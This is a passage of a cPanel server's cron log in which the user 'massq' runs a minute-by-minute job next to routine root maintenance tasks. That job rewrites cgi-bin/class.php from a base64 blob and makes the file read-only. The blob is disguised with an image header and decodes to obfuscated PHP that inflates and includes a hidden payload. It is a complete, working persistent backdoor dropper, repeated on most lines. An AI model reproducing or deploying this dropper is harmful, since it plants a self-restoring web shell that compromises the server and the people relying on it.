0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:09:01 server CROND[19393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:09:01 server CROND[19395]: (root) CMD (/usr/sbin/csf -u)
Apr  6 11:09:01 server CROND[19394]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 11:10:01 server CROND[19482]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 11:10:01 server CROND[19483]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 11:10:01 server CROND[19485]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 11:10:01 server CROND[19484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:11:01 server CROND[19606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:12:01 server CROND[19857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:12:01 server CROND[19858]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 11:13:01 server CROND[19920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:14:01 server CROND[19979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:15:01 server CROND[20049]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 11:15:01 server CROND[20050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:15:01 server CROND[20051]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 11:16:01 server CROND[20175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:17:01 server CROND[20365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:18:01 server CROND[20434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:19:01 server CROND[20504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:20:01 server CROND[20568]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 11:20:01 server CROND[20569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 11:20:01 server CROND[20570]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 11:20:01 server CROND[20573]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 11:20:01 server CROND[20576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:21:01 server CROND[20765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
